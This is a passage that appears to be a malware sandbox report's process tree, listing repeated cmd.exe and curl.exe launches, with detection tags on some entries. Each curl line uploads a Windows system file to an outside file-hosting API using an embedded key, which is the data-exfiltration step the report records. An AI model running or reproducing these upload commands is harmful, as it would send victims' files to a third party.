    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-125_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-125_contrast-black.png-07-11-2026--13.56.37.png
    3⤵
    PID:1140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-125_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-125_contrast-white.png-07-11-2026--13.56.37.png
  2⤵
  PID:4360
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3576
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-125_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-125_contrast-white.png-07-11-2026--13.56.37.png
    3⤵
    PID:4648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-150.png-07-11-2026--13.56.38.png
  2⤵
  - Executes a command shell one-liner
  PID:992
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-150.png-07-11-2026--13.56.38.png
    3⤵
    - Badlisted process makes network request
    PID:264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-150_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-150_contrast-black.png-07-11-2026--13.56.38.png
  2⤵
  PID:4560
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-150_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-150_contrast-black.png-07-11-2026--13.56.38.png
    3⤵
    - Badlisted process makes network request
    - System Location Discovery: System Language Discovery
    PID:3412
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-150_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-150_contrast-white.png-07-11-2026--13.56.38.png
  2⤵
  PID:5520
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-150_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-150_contrast-white.png-07-11-2026--13.56.38.png
    3⤵
    PID:2452
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-200.png-07-11-2026--13.56.38.png
  2⤵
  PID:5624
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-200.png-07-11-2026--13.56.38.png
    3⤵
    - Badlisted process makes network request
    PID:5604
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-200_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-200_contrast-black.png-07-11-2026--13.56.39.png
  2⤵
  PID:1488
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-200_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-200_contrast-black.png-07-11-2026--13.56.39.png
    3⤵
    PID:3360
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-200_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-200_contrast-white.png-07-11-2026--13.56.39.png
  2⤵
  PID:1420
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-200_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-200_contrast-white.png-07-11-2026--13.56.39.png
    3⤵
    PID:3008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-400.png-07-11-2026--13.56.39.png
  2⤵
  PID:5916
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-400.png-07-11-2026--13.56.39.png
    3⤵
    PID:3032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-400_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-400_contrast-black.png-07-11-2026--13.56.39.png
  2⤵
  PID:6052
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-400_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-400_contrast-black.png-07-11-2026--13.56.39.png
    3⤵
    PID:3372
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-400_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-400_contrast-white.png-07-11-2026--13.56.40.png
  2⤵
  PID:3588
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-400_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-400_contrast-white.png-07-11-2026--13.56.40.png
    3⤵
    PID:4836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-s..chservice-component_31bf3856ad364e35_10.0.26100.1591_none_495d0e173be5ed63\privacy-icon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-s..chservice-component_31bf3856ad364e35_10.0.26100.1591_none_495d0e173be5ed63-privacy-icon.png-07-11-2026--13.56.40.png
  2⤵
  PID:3084
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-s..chservice-component_31bf3856ad364e35_10.0.26100.1591_none_495d0e173be5ed63\privacy-icon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-s..chservice-component_31bf3856ad364e35_10.0.26100.1591_none_495d0e173be5ed63-privacy-icon.png-07-11-2026--13.56.40.png
    3⤵
    - Badlisted process makes network request
    PID:5316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-s..chservice-component_31bf3856ad364e35_10.0.26100.1591_none_495d0e173be5ed63\toast-hero-image.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-s..chservice-component_31bf3856ad364e35_10.0.26100.1591_none_495d0e173be5ed63-toast-hero-image.png-07-11-2026--13.56.40.png
  2⤵
  PID:1920
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-s..chservice-component_31bf3856ad364e35_10.0.26100.1591_none_495d0e173be5ed63\toast-hero-image.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-s..chservice-component_31bf3856ad364e35_10.0.26100.1591_none_495d0e173be5ed63-toast-hero-image.png-07-11-2026--13.56.40.png
    3⤵
    - Badlisted process makes network request
    PID:4824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothPairingSystemToastIcon.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothPairingSystemToastIcon.contrast-black.png-07-11-2026--13.56.40.png
  2⤵
  PID:2232
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothPairingSystemToastIcon.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothPairingSystemToastIcon.contrast-black.png-07-11-2026--13.56.40.png
    3⤵
    PID:2520
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothPairingSystemToastIcon.contrast-high.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothPairingSystemToastIcon.contrast-high.png-07-11-2026--13.56.41.png
  2⤵
  PID:4156
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothPairingSystemToastIcon.contrast-high.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothPairingSystemToastIcon.contrast-high.png-07-11-2026--13.56.41.png
    3⤵
    PID:3828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothPairingSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothPairingSystemToastIcon.contrast-white.png-07-11-2026--13.56.41.png
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4480
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothPairingSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothPairingSystemToastIcon.contrast-white.png-07-11-2026--13.56.41.png
    3⤵
    PID:1564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothPairingSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothPairingSystemToastIcon.png-07-11-2026--13.56.41.png
  2⤵
  PID:1280
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothPairingSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothPairingSystemToastIcon.png-07-11-2026--13.56.41.png
    3⤵
    PID:2556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothSystemToastIcon.contrast-white.png-07-11-2026--13.56.42.png
  2⤵
  PID:440
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothSystemToastIcon.contrast-white.png-07-11-2026--13.56.42.png
    3⤵
    PID:4388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothSystemToastIcon.png-07-11-2026--13.56.42.png
  2⤵
  - Executes a command shell one-liner
  PID:4620
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\BluetoothSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-BluetoothSystemToastIcon.png-07-11-2026--13.56.42.png
    3⤵
    PID:944
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\ComputerToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-ComputerToastIcon.contrast-white.png-07-11-2026--13.56.42.png
  2⤵
  PID:2936
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\ComputerToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-ComputerToastIcon.contrast-white.png-07-11-2026--13.56.42.png
    3⤵
    PID:4260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\ComputerToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-ComputerToastIcon.png-07-11-2026--13.56.42.png
  2⤵
  PID:4256
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4832
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\ComputerToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-ComputerToastIcon.png-07-11-2026--13.56.42.png
    3⤵
    PID:4172
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\CriticallyLowBatterySystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-CriticallyLowBatterySystemToastIcon.contrast-white.png-07-11-2026--13.56.43.png
  2⤵
  PID:2792
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\CriticallyLowBatterySystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-CriticallyLowBatterySystemToastIcon.contrast-white.png-07-11-2026--13.56.43.png
    3⤵
    PID:2584
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\CriticallyLowBatterySystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-CriticallyLowBatterySystemToastIcon.png-07-11-2026--13.56.43.png
  2⤵
  PID:2912
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\CriticallyLowBatterySystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-CriticallyLowBatterySystemToastIcon.png-07-11-2026--13.56.43.png
    3⤵
    PID:3708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\DisplaySystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-DisplaySystemToastIcon.contrast-white.png-07-11-2026--13.56.43.png
  2⤵
  PID:5096
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\DisplaySystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-DisplaySystemToastIcon.contrast-white.png-07-11-2026--13.56.43.png
    3⤵
    - Badlisted process makes network request
    PID:3992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\DisplaySystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-DisplaySystemToastIcon.png-07-11-2026--13.56.43.png
  2⤵
  PID:264
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\DisplaySystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-DisplaySystemToastIcon.png-07-11-2026--13.56.43.png
    3⤵
    PID:1064
- C:\Windows\SysWOW64\cmd.exe
